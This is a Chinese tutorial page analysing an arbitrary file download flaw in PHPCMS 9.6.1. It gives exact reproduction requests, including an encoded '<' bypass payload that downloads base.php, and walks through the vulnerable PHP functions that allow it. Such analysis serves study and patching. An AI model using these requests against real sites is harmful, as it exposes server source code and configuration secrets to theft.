您现在的位置是:首页 > cms教程 > phpcms教程phpcms教程
phpcms9.6.1任意文件下载漏洞分析
怜菡2025-06-11phpcms教程已有人查阅
导读phpstudy本地搭建phpcmsapache2.4.39+php5.3.29+mysql8.0.12漏洞影响版本:1、访问index.php?m=wap&c=index&siteid=1得到加密后的cookie值
环境:
phpstudy本地搭建phpcms
apache2.4.39+php5.3.29+mysql8.0.12
漏洞影响版本:
PHPCMS 9.6.1
复现
1、访问index.php?m=wap&c=index&siteid=1得到加密后的cookie值
2、访问/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=pad%3Dx%26i%3D1%26modelid%3D1%26catid%3D1%26d%3D1%26m%3D1%26s%3D./phpcms/base%26f%3D.p%25253chp,post请求数据userid_flash,得到返回的json加密cookie值
3、访问/index.php?m=content&c=down&a=init&a_k=e41e77MD49WyuTZBvaAfcVQqkpx2Cg9YZPvAhkQYUWr-ngvrASco1B-16MgdqeVrfNXR45Gv8r_5784KVVGvVmMKxxJHba-PfKCbUAWCLEpwO43AFbkL8bfn53hP40TWS488ENEPQOeim3zFlSW1XezD0vlcqTWZjoEfFRJG,a_k值为第二部得到的cookie值,成功下载base.php文件
分析:
1、wap模块index.php代码分析
2、attachment模块attachments.php代码分析
4、content模块down.php代码分析
这里的%3c成功绕过了第66行中的对%f也就是后缀的匹配
然后在第69行重新对数据进行了一个加密
在74行对download.php进行一个包含
5、down.php中download函数代码分析
6、跟进file_down函数
phpstudy本地搭建phpcms
apache2.4.39+php5.3.29+mysql8.0.12
漏洞影响版本:
PHPCMS 9.6.1
复现
1、访问index.php?m=wap&c=index&siteid=1得到加密后的cookie值
2、访问/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=pad%3Dx%26i%3D1%26modelid%3D1%26catid%3D1%26d%3D1%26m%3D1%26s%3D./phpcms/base%26f%3D.p%25253chp,post请求数据userid_flash,得到返回的json加密cookie值
3、访问/index.php?m=content&c=down&a=init&a_k=e41e77MD49WyuTZBvaAfcVQqkpx2Cg9YZPvAhkQYUWr-ngvrASco1B-16MgdqeVrfNXR45Gv8r_5784KVVGvVmMKxxJHba-PfKCbUAWCLEpwO43AFbkL8bfn53hP40TWS488ENEPQOeim3zFlSW1XezD0vlcqTWZjoEfFRJG,a_k值为第二部得到的cookie值,成功下载base.php文件
分析:
1、wap模块index.php代码分析
function __construct() {
$this->db = pc_base::load_model('content_model');
$this->siteid = isset($_GET['siteid']) && (intval($_GET['siteid']) > 0) ? intval(trim($_GET['siteid'])) : (param::get_cookie('siteid') ? param::get_cookie('siteid') : 1);
param::set_cookie('siteid',$this->siteid);
$this->wap_site = getcache('wap_site','wap');
$this->types = getcache('wap_type','wap');
$this->wap = $this->wap_site[$this->siteid];
define('WAP_SITEURL', $this->wap['domain'] ? $this->wap['domain'].'index.php?' : APP_PATH.'index.php?m=wap&siteid='.$this->siteid);
if($this->wap['status']!=1) exit(L('wap_close_status'));
}
第3、4行将获取到的siteid进行加密并且通过set_cookie方法设置cookie返回cookie2、attachment模块attachments.php代码分析
public function swfupload_json() {
$arr['aid'] = intval($_GET['aid']);
$arr['src'] = safe_replace(trim($_GET['src']));
$arr['filename'] = urlencode(safe_replace($_GET['filename']));
$json_str = json_encode($arr);
$att_arr_exist = param::get_cookie('att_json');
$att_arr_exist_tmp = explode('||', $att_arr_exist);
if(is_array($att_arr_exist_tmp) && in_array($json_str, $att_arr_exist_tmp)) {
return true;
} else {
$json_str = $att_arr_exist ? $att_arr_exist.'||'.$json_str : $json_str;
param::set_cookie('att_json',$json_str);
return true;
}
}
通过attachment模块中的attachments.php中的函数swfupload_json(),将获取的aid、src、filename变量赋值然后通过json_encode函数进行json编码,在第12行通过set_cookie对这里我们传入的变量的json编码进行加密。4、content模块down.php代码分析
1 public function init() {
2 $a_k = trim($_GET['a_k']);
3 if(!isset($a_k)) showmessage(L('illegal_parameters'));
4 $a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key'));
5 if(empty($a_k)) showmessage(L('illegal_parameters'));
6 unset($i,$m,$f);
7 $a_k = safe_replace($a_k);
8 parse_str($a_k);
9 if(isset($i)) $i = $id = intval($i);
10 if(!isset($m)) showmessage(L('illegal_parameters'));
11 if(!isset($modelid)||!isset($catid)) showmessage(L('illegal_parameters'));
12 if(empty($f)) showmessage(L('url_invalid'));
13 $allow_visitor = 1;
14 $id = intval($id);
15 $modelid = intval($modelid);
16 $catid = intval($catid);
17 $MODEL = getcache('model','commons');
18 $tablename = $this->db->table_name = $this->db->db_tablepre.$MODEL[$modelid]['tablename'];
19 $this->db->table_name = $tablename.'_data';
20 $rs = $this->db->get_one(array('id'=>$id));
21 $siteids = getcache('category_content','commons');
22 $siteid = $siteids[$catid];
23 $CATEGORYS = getcache('category_content_'.$siteid,'commons');
24
25 $this->category = $CATEGORYS[$catid];
26 $this->category_setting = string2array($this->category['setting']);
27
28 //检查文章会员组权限
29 $groupids_view = '';
30 if ($rs['groupids_view']) $groupids_view = explode(',', $rs['groupids_view']);
31 if($groupids_view && is_array($groupids_view)) {
32 $_groupid = param::get_cookie('_groupid');
33 $_groupid = intval($_groupid);
34 if(!$_groupid) {
35 $forward = urlencode(get_url());
36 showmessage(L('login_website'),APP_PATH.'index.php?m=member&c=index&a=login&forward='.$forward);
37 }
38 if(!in_array($_groupid,$groupids_view)) showmessage(L('no_priv'));
39 } else {
40 //根据栏目访问权限判断权限
41 $_priv_data = $this->_category_priv($catid);
42 if($_priv_data=='-1') {
43 $forward = urlencode(get_url());
44 showmessage(L('login_website'),APP_PATH.'index.php?m=member&c=index&a=login&forward='.$forward);
45 } elseif($_priv_data=='-2') {
46 showmessage(L('no_priv'));
47 }
48 }
49 //阅读收费 类型
50 $paytype = $rs['paytype'];
51 $readpoint = $rs['readpoint'];
52 if($readpoint || $this->category_setting['defaultchargepoint']) {
53 if(!$readpoint) {
54 $readpoint = $this->category_setting['defaultchargepoint'];
55 $paytype = $this->category_setting['paytype'];
56 }
57 //检查是否支付过
58 $allow_visitor = self::_check_payment($catid.'_'.$id,$paytype,$catid);
59 if(!$allow_visitor) {
60 $http_referer = urlencode(get_url());
61 $allow_visitor = sys_auth($catid.'_'.$id.'|'.$readpoint.'|'.$paytype).'&http_referer='.$http_referer;
62 } else {
63 $allow_visitor = 1;
64 }
65 }
66 if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$f) || strpos($f, ":\\")!==FALSE || strpos($f,'..')!==FALSE) showmessage(L('url_error'));
67 if(strpos($f, 'http://') !== FALSE || strpos($f, 'ftp://') !== FALSE || strpos($f, '://') === FALSE) {
68 $pc_auth_key = md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT'].'down');
69 $a_k = urlencode(sys_auth("i=$i&d=$d&s=$s&t=".SYS_TIME."&ip=".ip()."&m=".$m."&f=$f&modelid=".$modelid, 'ENCODE', $pc_auth_key));
70 $downurl = '?m=content&c=down&a=download&a_k='.$a_k;
71 } else {
72 $downurl = $f;
73 }
74 include template('content','download');
75 }
经过parse_str之后变量s和f的值为:这里的%3c成功绕过了第66行中的对%f也就是后缀的匹配
然后在第69行重新对数据进行了一个加密
在74行对download.php进行一个包含
1 <?php defined('IN_PHPCMS') or exit('No permission resources.'); ?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http:// .w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
2 <html xmlns="http:// .w3.org/1999/xhtml">
3 <head>
4 <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
5 <meta http-equiv="X-UA-Compatible" content="IE=7" />
6 <title><?php echo $catname;?>- 下载频道_详情页</title>
7 <!--[if IE 5]>
8 <style type="text/css">
9 body,html{text-align:center}
10 *{ text-align:left}
11 .header .search .text{height:26px;}
12 </style>
13 <![endif]-->
14 <link href="<?php echo CSS_PATH;?>reset.css" rel="stylesheet" type="text/css" />
15 <link href="<?php echo CSS_PATH;?>default_blue.css" rel="stylesheet" type="text/css" />
16 <link href="<?php echo CSS_PATH;?>download.css" rel="stylesheet" type="text/css" />
17 <script language="javascript" type="text/javascript" src="<?php echo JS_PATH;?>jquery.min.js"></script>
18 </head>
19 <body>
20 <style type="text/css">
21 body, html{ background:#FFF!important;}
22 </style>
23 <?php if($allow_visitor=='1') { ?>
24 <a href="<?php echo $downurl;?>" class="xzs_btn"></a>
25 <?php } else { ?>
26 <CENTER><a href="<?php echo APP_PATH;?>index.php?m=content&c=readpoint&allow_visitor=<?php echo $allow_visitor;?>"><font color="red">阅读此信息需要您支付 <B><I><?php echo $readpoint;?> <?php if($paytype) { ?>元<?php } else { ?>点<?php } ?></I></B>,点击这里支付</font></a></CENTER>
27 <?php } ?>
28 </body>
29 </html>
其中第24行就对downurl进行了一个输出,涉及到了download函数5、down.php中download函数代码分析
1 public function download() {
2 $a_k = trim($_GET['a_k']);
3 $pc_auth_key = md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT'].'down');
4 $a_k = sys_auth($a_k, 'DECODE', $pc_auth_key);
5 if(empty($a_k)) showmessage(L('illegal_parameters'));
6 unset($i,$m,$f,$t,$ip);
7 $a_k = safe_replace($a_k);
8 parse_str($a_k);
9 if(isset($i)) $downid = intval($i);
10 if(!isset($m)) showmessage(L('illegal_parameters'));
11 if(!isset($modelid)) showmessage(L('illegal_parameters'));
12 if(empty($f)) showmessage(L('url_invalid'));
13 if(!$i || $m<0) showmessage(L('illegal_parameters'));
14 if(!isset($t)) showmessage(L('illegal_parameters'));
15 if(!isset($ip)) showmessage(L('illegal_parameters'));
16 $starttime = intval($t);
17 if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$f) || strpos($f, ":\\")!==FALSE || strpos($f,'..')!==FALSE) showmessage(L('url_error'));
18 $fileurl = trim($f);
19 if(!$downid || empty($fileurl) || !preg_match("/[0-9]{10}/", $starttime) || !preg_match("/[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}/", $ip) || $ip != ip()) showmessage(L('illegal_parameters'));
20 $endtime = SYS_TIME - $starttime;
21 if($endtime > 3600) showmessage(L('url_invalid'));
22 if($m) $fileurl = trim($s).trim($fileurl);
23 if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$fileurl) ) showmessage(L('url_error'));
24 //远程文件
25 if(strpos($fileurl, ':/') && (strpos($fileurl, pc_base::load_config('system','upload_url')) === false)) {
26 header("Location: $fileurl");
27 } else {
28 if($d == 0) {
29 header("Location: ".$fileurl);
30 } else {
31 $fileurl = str_replace(array(pc_base::load_config('system','upload_url'),'/'), array(pc_base::load_config('system','upload_path'),DIRECTORY_SEPARATOR), $fileurl);
32 $filename = basename($fileurl);
33 //处理中文文件
34 if(preg_match("/^([\s\S]*?)([\x81-\xfe][\x40-\xfe])([\s\S]*?)/", $fileurl)) {
35 $filename = str_replace(array("%5C", "%2F", "%3A"), array("\\", "/", ":"), urlencode($fileurl));
36 $filename = urldecode(basename($filename));
37 }
38 $ext = fileext($filename);
39 $filename = date('Ymd_his').random(3).'.'.$ext;
40 $fileurl = str_replace(array('<','>'), '',$fileurl);
41 file_down($fileurl, $filename);
42 }
43 }
44 }
重点在40行,我们利用%3C也就是尖括号绕过了前面的后缀匹配,而在第40行将尖括号替换为空,这样我们变量fileurl中的后缀就变成了.php6、跟进file_down函数
1 function file_down($filepath, $filename = '') {
2 if(!$filename) $filename = basename($filepath);
3 if(is_ie()) $filename = rawurlencode($filename);
4 $filetype = fileext($filename);
5 $filesize = sprintf("%u", filesize($filepath));
6 if(ob_get_length() !== false) @ob_end_clean();
7 header('Pragma: public');
8 header('Last-Modified: '.gmdate('D, d M Y H:i:s') . ' GMT');
9 header('Cache-Control: no-store, no-cache, must-revalidate');
10 header('Cache-Control: pre-check=0, post-check=0, max-age=0');
11 header('Content-Transfer-Encoding: binary');
12 header('Content-Encoding: none');
13 header('Content-type: '.$filetype);
14 header('Content-Disposition: attachment; filename="'.$filename.'"');
15 header('Content-length: '.$filesize);
16 readfile($filepath);
17 exit;
18 }
这里也就第5行也就成功的读取到了base.php的文件大小,以及第16行中的readfile函数传入的路径也就可以读取base.php文件了。
本文标签:
很赞哦! ()
相关教程
图文教程
phpcms怎么更换网站模板
phpcms网站更换模板:打开网站根目录,在根目录中找到"phpcms"文件夹,点击文件夹进入。在"phpcms"文件夹下找到"templates"文件夹,双击进入。
phpcms修改pages模板样式的方法示例
首先打开phpcms\libs\functions\global.func.php文件然后找到里面 * 分页函数 这一段最后进行修改即可,如下格式:
phpcms不能生成首页的解决方法
phpcms不能生成首页怎么办?在用phpcms开发网站的时候,点击生成首页发现生成不了,显示的是网站内容而不是网站生成大小kb数,仔细排查了下问题,原来是模板里面添加了js代码
phpcms二次开发步骤教程示例
以下载的全新的phpcms搭建一个新的站点为例,讲解如何利用phpcms进行二次开发一、下载和安装phpcms下载完成之后在网站根目录(以PHPstudy为例根目录为WWW)创建我们的网站文件夹如
相关源码
-
(自适应手机端)英文外贸电子产品通用pbootcms模板源码下载为电子产品外贸企业设计的响应式网站模板,采用PbootCMS开发内核,支持多语言展示。模板默认集成产品展示系统、询价表单模块和企业资质展示区,满足跨境贸易基础需求。整站采用模块化设计,便于扩展业务场景。查看源码 -
(自适应)绿色LED灯具照明灯饰灯光灯泡pbootcms网站源码下载本模板基于PbootCMS内核开发,为LED照明、灯具制造及相关光电技术企业量身打造。设计充分考虑了照明行业的展示需求,从产品陈列到技术说明,从光源展示到工程案例,每一个细节都体现出专业照明行业的特点。查看源码 -
(PC+WAP)蓝色低碳环保隔断板装修装饰类网站pbootcms源码下载本款基于PbootCMS开发的网站模板为活动隔断板、装修装饰行业打造,特别适合移动隔断、环保隔断、办公分区等产品的展示与推广。查看源码 -
(自适应响应式)html5高档服装定制西服pbootcms模板下载本模板基于PbootCMS内核开发,为服装定制企业和服装品牌量身打造。设计风格时尚现代,充分展现服装行业的审美特质与品牌魅力。采用HTML5响应式技术,确保在各种设备上呈现视觉效果。整站布局注重产品展示与品牌叙事,帮助企业有效展示服装系列与定制服务,提升客户体验。查看源码 -
帝国cms7.5女性护肤搭配美妆潮流网站源码带数据4.5G本模板专为女性美容护肤行业设计,提供美容护肤、发型设计、女性健康、时尚化妆、娱乐新闻、服饰搭配等女性潮流资讯内容展示。采用帝国CMS7.5开发,同步生成电脑端和手机端,满足用户对美容时尚信息的获取需求。查看源码 -
(自适应手机端)锁锁芯锁具网站pbootcms模板 智能防盗锁网站源码下载本模板基于PbootCMS系统开发,为智能锁具、防盗锁芯及相关安防产品企业设计。采用响应式布局技术,确保在手机、平板和电脑等不同设备上都能获得良好的浏览体验,数据实时同步更新。查看源码
| 分享笔记 (共有 篇笔记) |
